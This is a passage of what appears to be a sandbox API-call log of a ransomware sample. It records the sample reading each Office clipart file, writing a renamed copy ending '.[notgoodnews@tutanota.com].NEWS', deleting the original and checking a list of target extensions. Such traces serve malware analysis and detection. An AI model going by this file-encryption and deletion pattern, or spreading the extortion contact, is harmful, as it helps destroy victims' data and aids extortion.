(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0083.239] GetLastError () returned 0x0 [0083.239] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x5130, lpOverlapped=0x0) returned 1 [0083.241] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x5140, lpOverlapped=0x0) returned 1 [0083.242] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.242] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.242] SetEndOfFile (hFile=0x37c) returned 1 [0083.242] CloseHandle (hObject=0x37c) returned 1 [0083.242] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.242] SetEndOfFile (hFile=0x348) returned 1 [0083.243] CloseHandle (hObject=0x348) returned 1 [0083.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0083.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.244] lstrlenW (lpString=".doc") returned 4 [0083.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.244] lstrlenW (lpString=".docx") returned 5 [0083.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.244] lstrlenW (lpString=".pdf") returned 4 [0083.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.244] lstrlenW (lpString=".xls") returned 4 [0083.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.244] lstrlenW (lpString=".xlsx") returned 5 [0083.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.244] lstrlenW (lpString=".ppt") returned 4 [0083.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.244] lstrlenW (lpString=".zip") returned 4 [0083.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.244] lstrlenW (lpString=".rar") returned 4 [0083.244] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.244] lstrlenW (lpString=".bz2") returned 4 [0083.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.244] lstrlenW (lpString=".7z") returned 3 [0083.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.244] lstrlenW (lpString=".dbf") returned 4 [0083.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.244] lstrlenW (lpString=".1cd") returned 4 [0083.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.245] lstrlenW (lpString=".jpg") returned 4 [0083.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.245] lstrlenW (lpString=".doc") returned 4 [0083.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.245] lstrlenW (lpString=".docx") returned 5 [0083.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.245] lstrlenW (lpString=".pdf") returned 4 [0083.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.245] lstrlenW (lpString=".xls") returned 4 [0083.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.245] lstrlenW (lpString=".xlsx") returned 5 [0083.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.245] lstrlenW (lpString=".ppt") returned 4 [0083.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.245] lstrlenW (lpString=".zip") returned 4 [0083.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.245] lstrlenW (lpString=".rar") returned 4 [0083.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.245] lstrlenW (lpString=".bz2") returned 4 [0083.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.245] lstrlenW (lpString=".7z") returned 3 [0083.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.245] lstrlenW (lpString=".dbf") returned 4 [0083.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.245] lstrlenW (lpString=".1cd") returned 4 [0083.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0083.245] lstrlenW (lpString=".jpg") returned 4 [0083.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.246] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.246] lstrlenW (lpString="DD00705_.WMF") returned 12 [0083.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.246] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=24588) returned 1 [0083.246] CloseHandle (hObject=0x348) returned 1 [0083.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0083.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.246] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.247] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0083.247] GetLastError () returned 0x0 [0083.247] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x600c, lpOverlapped=0x0) returned 1 [0083.755] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x6010, lpOverlapped=0x0) returned 1 [0083.756] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.756] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.756] SetEndOfFile (hFile=0x37c) returned 1 [0083.757] CloseHandle (hObject=0x37c) returned 1 [0083.757] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.757] SetEndOfFile (hFile=0x348) returned 1 [0083.758] CloseHandle (hObject=0x348) returned 1 [0083.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0083.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.758] lstrlenW (lpString=".doc") returned 4 [0083.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.758] lstrlenW (lpString=".docx") returned 5 [0083.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.758] lstrlenW (lpString=".pdf") returned 4 [0083.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.758] lstrlenW (lpString=".xls") returned 4 [0083.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.758] lstrlenW (lpString=".xlsx") returned 5 [0083.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.758] lstrlenW (lpString=".ppt") returned 4 [0083.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.758] lstrlenW (lpString=".zip") returned 4 [0083.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.758] lstrlenW (lpString=".rar") returned 4 [0083.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString=".bz2") returned 4 [0083.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString=".7z") returned 3 [0083.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.759] lstrlenW (lpString=".dbf") returned 4 [0083.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.759] lstrlenW (lpString=".1cd") returned 4 [0083.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.759] lstrlenW (lpString=".jpg") returned 4 [0083.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.759] lstrlenW (lpString=".doc") returned 4 [0083.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString=".docx") returned 5 [0083.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.759] lstrlenW (lpString=".pdf") returned 4 [0083.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString=".xls") returned 4 [0083.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.759] lstrlenW (lpString=".xlsx") returned 5 [0083.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.759] lstrlenW (lpString=".ppt") returned 4 [0083.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.759] lstrlenW (lpString=".zip") returned 4 [0083.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.759] lstrlenW (lpString=".rar") returned 4 [0083.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString=".bz2") returned 4 [0083.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.759] lstrlenW (lpString=".7z") returned 3 [0083.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.760] lstrlenW (lpString=".dbf") returned 4 [0083.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.760] lstrlenW (lpString=".1cd") returned 4 [0083.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0083.760] lstrlenW (lpString=".jpg") returned 4 [0083.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.760] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.760] lstrlenW (lpString="DD01162_.WMF") returned 12 [0083.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.760] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2300) returned 1 [0083.760] CloseHandle (hObject=0x348) returned 1 [0083.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0083.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.760] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.761] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0083.761] GetLastError () returned 0x0 [0083.761] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0083.762] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x900, lpOverlapped=0x0) returned 1 [0083.763] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.763] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.763] SetEndOfFile (hFile=0x37c) returned 1 [0083.763] CloseHandle (hObject=0x37c) returned 1 [0083.763] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.764] SetEndOfFile (hFile=0x348) returned 1 [0083.764] CloseHandle (hObject=0x348) returned 1 [0083.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0083.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.765] lstrlenW (lpString=".doc") returned 4 [0083.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.765] lstrlenW (lpString=".docx") returned 5 [0083.765] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.765] lstrlenW (lpString=".pdf") returned 4 [0083.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.765] lstrlenW (lpString=".xls") returned 4 [0083.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.765] lstrlenW (lpString=".xlsx") returned 5 [0083.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.765] lstrlenW (lpString=".ppt") returned 4 [0083.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.765] lstrlenW (lpString=".zip") returned 4 [0083.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.765] lstrlenW (lpString=".rar") returned 4 [0083.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.765] lstrlenW (lpString=".bz2") returned 4 [0083.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.765] lstrlenW (lpString=".7z") returned 3 [0083.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.765] lstrlenW (lpString=".dbf") returned 4 [0083.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.765] lstrlenW (lpString=".1cd") returned 4 [0083.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.766] lstrlenW (lpString=".jpg") returned 4 [0083.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.766] lstrlenW (lpString=".doc") returned 4 [0083.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.766] lstrlenW (lpString=".docx") returned 5 [0083.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.766] lstrlenW (lpString=".pdf") returned 4 [0083.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.766] lstrlenW (lpString=".xls") returned 4 [0083.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.766] lstrlenW (lpString=".xlsx") returned 5 [0083.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.766] lstrlenW (lpString=".ppt") returned 4 [0083.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.766] lstrlenW (lpString=".zip") returned 4 [0083.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.766] lstrlenW (lpString=".rar") returned 4 [0083.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.766] lstrlenW (lpString=".bz2") returned 4 [0083.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.766] lstrlenW (lpString=".7z") returned 3 [0083.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.766] lstrlenW (lpString=".dbf") returned 4 [0083.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.766] lstrlenW (lpString=".1cd") returned 4 [0083.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0083.766] lstrlenW (lpString=".jpg") returned 4 [0083.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.767] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.767] lstrlenW (lpString="DD01163_.WMF") returned 12 [0083.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.767] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2300) returned 1 [0083.767] CloseHandle (hObject=0x348) returned 1 [0083.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0083.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.767] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.767] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 